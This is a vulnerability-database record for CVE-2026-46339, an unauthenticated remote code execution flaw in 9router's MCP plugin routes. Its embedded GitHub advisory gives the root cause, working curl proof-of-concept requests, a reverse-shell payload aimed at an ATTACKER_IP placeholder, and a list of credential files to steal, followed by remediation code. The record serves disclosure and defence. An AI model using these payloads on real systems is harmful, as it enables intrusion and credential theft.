{"id":"GHSA-fhh6-4qxv-rpqj","revision":null,"records":[{"revision":"51ec6765e3fb42caa0a117227f90c2f4","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46339","aliases":[],"title":"9Router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes","description":"9Router is an AI router & token saver. From 0.4.30 until 0.4.37, 9Router's src/proxy.js middleware did not protect /api/cli-tools/* and /api/mcp/*, allowing unauthenticated registration of customPlugins through src/app/api/cli-tools/cowork-settings/route.js and command execution through the MCP bridge. This vulnerability is fixed in 0.4.37.","state":0,"publishedAt":"2026-07-15T20:41:06.937+00:00","modifiedAt":"2026-07-16T12:55:46.031+00:00","affected":[{"ecosystem":"Vendor product","name":"9router","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"decolua\",\n                    \"product\": \"9router\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.4.30, < 0.4.37\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj","https://github.com/decolua/9router/commit/992f4db4a0d858bcc86b4786f2abab117a6ccdf8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46339","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46339","identifiers":["CVE-2026-46339"]},"retained":false,"historicalAffected":[]},{"revision":"ab7e6251b9e84d2988c93b3df0bbd485","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-46339","aliases":[],"title":"9Router is an AI router & token saver. From 0.4.30 until 0.4.37, 9Router's src/proxy.js middleware did not protect /api/cli-tools/* and /api/mcp/*, allowing unauthenticated registration of customPlugins through src/app/api/cli-tools/cowork-…","description":"9Router is an AI router & token saver. From 0.4.30 until 0.4.37, 9Router's src/proxy.js middleware did not protect /api/cli-tools/* and /api/mcp/*, allowing unauthenticated registration of customPlugins through src/app/api/cli-tools/cowork-settings/route.js and command execution through the MCP bridge. This vulnerability is fixed in 0.4.37.","state":0,"publishedAt":"2026-07-15T21:16:50.067+00:00","modifiedAt":"2026-10-24T21:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/decolua/9router/commit/992f4db4a0d858bcc86b4786f2abab117a6ccdf8","https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46339","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78","CWE-306"],"productCriteria":[],"sourceDates":{"published":"2026-07-15T21:16:50.067","lastModified":"2026-10-24T21:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46339","identifiers":["CVE-2026-46339"]},"retained":false,"historicalAffected":[]},{"revision":"5b081cbd17ea4ccaa83842ef6c01126e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-fhh6-4qxv-rpqj","aliases":["CVE-2026-46339"],"title":"9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes","description":"## Summary\n\n9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**.\n\nThe vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**.\n\n---\n\n## Root Cause\n\n### 1. Middleware Allowlist Is Too Narrow\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n  ],\n};\n```\n\nNext.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely.\n\n### 2. Unguarded Endpoint Accepts Arbitrary Command Registration\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319\n\n```js\nexport async function POST(request) {\n  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();\n  // ...\n  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];\n\n  if (customPluginsArray.length > 0) {\n    const { registerCustomPlugin } = require(\"@/lib/mcp/stdioSseBridge\");\n    const stdioCustoms = customPluginsArray\n      .filter((p) => p.command)\n      .map((p) => ({\n        name: p.name,\n        command: p.command,   // ← attacker-controlled, no validation\n        args: p.args || [],   // ← attacker-controlled, no validation\n      }));\n    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis\n  }\n}\n```\n\nThe `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement.\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116\n\n```js\nfunction registerCustomPlugin(def) {\n  getCustomStore().set(def.name, def);   // no validation of command/args\n}\n```\n\n### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command\n\n**File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25\n\n```js\nexport async function GET(request, { params }) {\n  const { plugin } = await params;\n  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });\n\n  const stream = new ReadableStream({\n    start(controller) {\n      sid = registerSession(plugin, send);   // ← spawn() called here\n    },\n  });\n  return new Response(stream, { ... });\n}\n```\n\n**File:** `src/lib/mcp/stdioSseBridge.js`, line 138\n\n```js\nconst proc = spawn(plugin.command, plugin.args, {\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  env: process.env,   // inherits full environment\n});\n```\n\n`spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution.\n\n---\n\n## Attack Chain\n\n```\nAttacker (no credentials)\n    │\n    │  Step 1 — Register malicious plugin (POST, no auth)\n    ▼\nPOST /api/cli-tools/cowork-settings\nContent-Type: application/json\n\n{\n  \"baseUrl\": \"x\", \"apiKey\": \"x\", \"models\": [\"x\"],\n  \"customPlugins\": [{\n    \"name\":    \"rev\",\n    \"command\": \"/bin/bash\",\n    \"args\":    [\"-c\", \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"]\n  }]\n}\n\n    ← {\"success\":true, ...}\n\n    │  Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)\n    ▼\nGET /api/mcp/rev/sse\n\n    ← SSE stream opens → spawn(\"/bin/bash\", [\"-c\", \"bash -i >& /dev/tcp/...\"])\n    ← Reverse shell connects to attacker\n```\n\n**Time to exploit from first request:** < 2 seconds.  \n**Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`).\n\n---\n\n## Proof of Concept\n\n### PoC 1 — File Write (no listener required)\n\n```bash\n# Step 1: Register payload\ncurl -X POST \"http://TARGET:20128/api/cli-tools/cowork-settings\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"baseUrl\":\"x\",\"apiKey\":\"x\",\"models\":[\"x\"],\n    \"customPlugins\":[{\n      \"name\":\"rce1\",\n      \"command\":\"/bin/sh\",\n      \"args\":[\"-c\",\"{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt\"]\n    }]\n  }'\n# → {\"success\":true,...}\n\n# Step 2: Trigger\ncurl -N --max-time 3 \"http://TARGET:20128/api/mcp/rce1/sse\" >/dev/null 2>&1\n\n# Verify\ncat /tmp/pwned.txt\n```\n\n**Observed output (on local test instance):**\n```\nuid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)\nsondt23\nVSOC-sondt23-L\nLinux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux\n```\n\n### PoC 2 — Automated PoC script\n\n```bash\n# File write mode (for report)\npython3 poc.py --target http://TARGET:20128 --mode file\n\n# Reverse shell mode (interactive)\npython3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444\n```\n\nThe script (`poc.py`) is included in this advisory.\n\n---\n\n## Impact\n\n| Category | Detail |\n|---|---|\n| **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials |\n| **Integrity** | Arbitrary file write, persistence via cron/systemd |\n| **Availability** | Process termination, resource exhaustion |\n| **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root |\n| **Scope** | Remote, unauthenticated, network-accessible |\n\n### High-value exfiltration targets on a typical 9router host\n\n- `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN`\n- `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys\n- `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs)\n- TLS private keys managed by the MITM proxy (`src/mitm/`)\n\n---\n\n## Affected Versions\n\n| Version | Affected | Notes |\n|---|---|---|\n| < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist |\n| v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) |\n| v0.4.31 | **Yes** | |\n| v0.4.32 | **Yes** | |\n| v0.4.33 | **Yes** | Latest at time of disclosure |\n\nThe vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.\n\n---\n\n## Remediation\n\n### Fix 1 — Extend middleware matcher (minimal fix)\n\n**File:** `src/proxy.js`\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n    // ADD these:\n    \"/api/cli-tools/:path*\",\n    \"/api/mcp/:path*\",\n  ],\n};\n```\n\n### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth)\n\n**File:** `src/lib/mcp/stdioSseBridge.js`\n\n```js\nconst ALLOWED_MCP_COMMANDS = new Set([\"npx\", \"node\", \"uvx\", \"python3\", \"python\"]);\n\nfunction registerCustomPlugin(def) {\n  const bin = def.command?.split(\"/\").pop();   // basename only\n  if (!ALLOWED_MCP_COMMANDS.has(bin)) {\n    throw new Error(`Blocked: command '${def.command}' not in allowlist`);\n  }\n  getCustomStore().set(def.name, def);\n}\n```\n\n### Fix 3 — Sanitize `customPlugins` at the API boundary\n\n**File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312\n\n```js\nconst stdioCustoms = customPluginsArray\n  .filter((p) => p.command && typeof p.command === \"string\")\n  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check\n  .map((p) => ({\n    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, \"\"),           // sanitize name\n    command: p.command,\n    args: (p.args || []).map(String),\n  }));\n```\n\n**All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.\n\n---","state":0,"publishedAt":"2026-05-19T19:22:05+00:00","modifiedAt":"2026-05-19T19:41:27.04525+00:00","affected":[{"ecosystem":"npm","name":"9router","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.4.30"},{"kind":"fixed","version":"0.4.37"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj","https://github.com/decolua/9router"],"sourceUrl":"https://github.com/advisories/GHSA-fhh6-4qxv-rpqj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fhh6-4qxv-rpqj","identifiers":["GHSA-fhh6-4qxv-rpqj","CVE-2026-46339"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T05:23:12.9441924+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T05:23:12.9441924+00:00","lastSuccessAt":"2026-10-27T05:23:13.1041404+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:13.1041411+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-57591c4b723492c24ca739458ea9904c8817e82e4cd3c55ec2210f22df6c3571","complete":true,"records":414861,"lastAttemptAt":"2026-10-27T05:23:12.1672773+00:00","lastSuccessAt":"2026-10-27T05:23:12.1410441+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:12.1672773+00:00","snapshotPublishedAt":"2026-10-27T04:29:45+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T05:23:43.9862903+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T05:23:12.9441924+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T05:23:12.9441924+00:00","lastSuccessAt":"2026-10-27T05:23:13.105278+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:13.1052784+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f34e348ef31846d1bb2c9cd52cce7468","complete":false,"records":13416,"lastAttemptAt":"2026-10-27T05:23:41.9418476+00:00","lastSuccessAt":"2026-10-27T05:23:41.937+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:41.937+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13077,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T05:23:12.8068451+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:12.8068451+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T05:23:12.2194373+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:12.2194373+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T05:23:12.8191831+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:12.8191831+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-27T05:23:12.6899126+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-27T05:23:12.6899126+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}